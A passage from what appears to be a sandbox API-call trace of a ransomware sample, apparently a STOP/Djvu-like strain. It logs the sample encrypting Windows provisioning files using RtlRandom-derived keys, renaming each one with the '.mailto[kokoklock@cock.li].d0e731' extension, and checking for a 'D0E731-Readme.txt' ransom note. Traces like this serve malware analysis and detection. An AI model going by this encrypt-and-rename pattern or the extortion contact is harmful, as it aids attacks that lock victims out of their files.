nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fa3f93c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2fa3f93c*=0x4, lpOverlapped=0x0) returned 1 [0087.654] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2fa3f93c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2fa3f93c*=0x6c, lpOverlapped=0x0) returned 1 [0087.654] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc7a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2fa3f93c, lpOverlapped=0x0 | out: lpBuffer=0x55dc7a0*, lpNumberOfBytesWritten=0x2fa3f93c*=0x20, lpOverlapped=0x0) returned 1 [0087.654] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fa3f93c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2fa3f93c*=0x4, lpOverlapped=0x0) returned 1 [0087.654] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc7a0) returned 1 [0087.654] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc930) returned 1 [0087.654] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dca70) returned 1 [0087.654] CloseHandle (hObject=0x3d0) returned 1 [0087.654] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x186) returned 0x33fc9c8 [0087.654] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml" [0087.654] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.654] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\178__connections_cellular_3 (hong kong sar)_i3$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\178__connections_cellular_3 (hong kong sar)_i3$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.655] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.655] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.655] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.655] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.655] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.655] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.656] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.656] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.656] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8488) returned 1 [0087.656] RtlExitUserThread (Status=0x1) Thread: id = 1372 os_tid = 0x1108 [0087.657] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\179__connections_cellular_3 (hong kong sar)_i4$(__mvid)@wap.provxml")) returned 0x20 [0087.657] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.658] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\179__connections_cellular_3 (hong kong sar)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.658] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2fabfd44 | out: lpFileSize=0x2fabfd44*=724) returned 1 [0087.658] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.658] ReadFile (in: hFile=0x3d0, lpBuffer=0x2fabfd18, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fabfd14, lpOverlapped=0x0 | out: lpBuffer=0x2fabfd18*, lpNumberOfBytesRead=0x2fabfd14*=0x4, lpOverlapped=0x0) returned 1 [0087.659] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.659] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7f0 [0087.659] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7a0 [0087.659] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc9d0 [0087.659] NtQuerySystemTime (in: CurrentTime=0x2fabfcf0 | out: CurrentTime=0x2fabfcf0*=132121176455475999) returned 0x0 [0087.659] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0x2efa7eee [0087.659] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0xf0c3490c [0087.659] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0x86f95b03 [0087.659] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0x28e56fee [0087.659] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0x2e3594fd [0087.659] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0xe6575342 [0087.659] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0x60286c59 [0087.659] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0x95063161 [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0xb0464bce [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0xfa861862 [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0xea4c106 [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0xe780f8ab [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0x3751905d [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0xfeffbca [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0xa6b0fcd1 [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0x8165bddd [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0xfd800cb7 [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0x7000a1b7 [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0x9dc734c7 [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0x4fb7e91b [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0x5b8b292 [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0x392a24ba [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0x535e3c64 [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0x70bbf6c5 [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0xa8529be9 [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0x727e4ea4 [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0x57aa06e [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0x5b85874a [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0x6dd87b1b [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0xddfd9177 [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0x24c61ae6 [0087.660] RtlRandom (in: Seed=0x2fabfcfc | out: Seed=0x2fabfcfc) returned 0x93445504 [0087.671] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2d4, lpNumberOfBytesRead=0x2fabfcf0, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2fabfcf0*=0x2d4, lpOverlapped=0x0) returned 1 [0087.671] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fabfcb8 | out: lpNewFilePointer=0x0) returned 1 [0087.671] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2d4, lpNumberOfBytesWritten=0x2fabfcec, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2fabfcec*=0x2d4, lpOverlapped=0x0) returned 1 [0087.671] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcac0 [0087.671] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0087.671] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6b0) returned 1 [0087.671] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dcac0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2fabfce8, lpOverlapped=0x0 | out: lpBuffer=0x55dcac0*, lpNumberOfBytesWritten=0x2fabfce8*=0x20, lpOverlapped=0x0) returned 1 [0087.671] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcac0) returned 1 [0087.671] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.671] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.671] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.671] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.671] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dca70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2fabfd14, lpOverlapped=0x0 | out: lpBuffer=0x55dca70*, lpNumberOfBytesWritten=0x2fabfd14*=0x8, lpOverlapped=0x0) returned 1 [0087.671] WriteFile (in: hFile=0x3d0, lpBuffer=0x2fabfd2c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fabfd14, lpOverlapped=0x0 | out: lpBuffer=0x2fabfd2c*, lpNumberOfBytesWritten=0x2fabfd14*=0x4, lpOverlapped=0x0) returned 1 [0087.671] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fabfd14, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2fabfd14*=0x4, lpOverlapped=0x0) returned 1 [0087.672] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2fabfd14, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2fabfd14*=0x6c, lpOverlapped=0x0) returned 1 [0087.672] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc7a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2fabfd14, lpOverlapped=0x0 | out: lpBuffer=0x55dc7a0*, lpNumberOfBytesWritten=0x2fabfd14*=0x20, lpOverlapped=0x0) returned 1 [0087.672] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fabfd14, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2fabfd14*=0x4, lpOverlapped=0x0) returned 1 [0087.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc7a0) returned 1 [0087.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc930) returned 1 [0087.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dca70) returned 1 [0087.672] CloseHandle (hObject=0x3d0) returned 1 [0087.672] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x186) returned 0x33fc9c8 [0087.672] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml" [0087.672] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.672] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\179__connections_cellular_3 (hong kong sar)_i4$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\179__connections_cellular_3 (hong kong sar)_i4$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.673] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.673] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.673] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.673] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.673] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.673] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.673] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.674] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.674] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d81d8) returned 1 [0087.674] RtlExitUserThread (Status=0x1) Thread: id = 1373 os_tid = 0x13a4 [0087.675] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\17__connections_cellular_optus (australia)_i8$(__mvid)@wap.provxml")) returned 0x20 [0087.675] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.675] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\17__connections_cellular_optus (australia)_i8$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.675] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2fb3fc10 | out: lpFileSize=0x2fb3fc10*=724) returned 1 [0087.675] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.675] ReadFile (in: hFile=0x3d0, lpBuffer=0x2fb3fbe4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fb3fbe0, lpOverlapped=0x0 | out: lpBuffer=0x2fb3fbe4*, lpNumberOfBytesRead=0x2fb3fbe0*=0x4, lpOverlapped=0x0) returned 1 [0087.677] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.677] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7f0 [0087.677] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7a0 [0087.677] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc9f8 [0087.677] NtQuerySystemTime (in: CurrentTime=0x2fb3fbbc | out: CurrentTime=0x2fb3fbbc*=132121176455632243) returned 0x0 [0087.677] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0x6148b9c9 [0087.677] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0xf98218c5 [0087.677] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0x6ef59d9 [0087.677] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0xbc2dfd8c [0087.677] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0xfc2a05db [0087.677] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0x1c330bb4 [0087.677] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0x2265f4d5 [0087.677] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0x17abd21f [0087.677] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0x7997f9db [0087.677] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0xe0ad91c6 [0087.677] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0x5aa292dc [0087.677] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0xbbc86505 [0087.677] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0x7a53430d [0087.677] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0x3ce7be03 [0087.678] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0xc79136c4 [0087.678] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0x8cbaccda [0087.678] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0x178c30c3 [0087.678] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0x34f5942c [0087.678] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0x5189810c [0087.678] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0xcbb6633e [0087.678] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0xa52b8864 [0087.678] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0xc15d30fc [0087.678] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0x70c9448b [0087.678] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0x881a46e7 [0087.678] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0xa28acae9 [0087.678] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0x8073fafb [0087.678] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0x44a0cbd9 [0087.678] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0xb3a81626 [0087.678] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0xd3ccd78d [0087.678] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0x6ce366f6 [0087.678] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0x8bf56ccd [0087.678] RtlRandom (in: Seed=0x2fb3fbc8 | out: Seed=0x2fb3fbc8) returned 0x505c31b4 [0087.688] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2d4, lpNumberOfBytesRead=0x2fb3fbbc, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2fb3fbbc*=0x2d4, lpOverlapped=0x0) returned 1 [0087.688] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fb3fb84 | out: lpNewFilePointer=0x0) returned 1 [0087.688] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2d4, lpNumberOfBytesWritten=0x2fb3fbb8, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2fb3fbb8*=0x2d4, lpOverlapped=0x0) returned 1 [0087.689] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcac0 [0087.689] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0087.689] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6b0) returned 1 [0087.689] WriteFile (in: hFile=0x3d0, 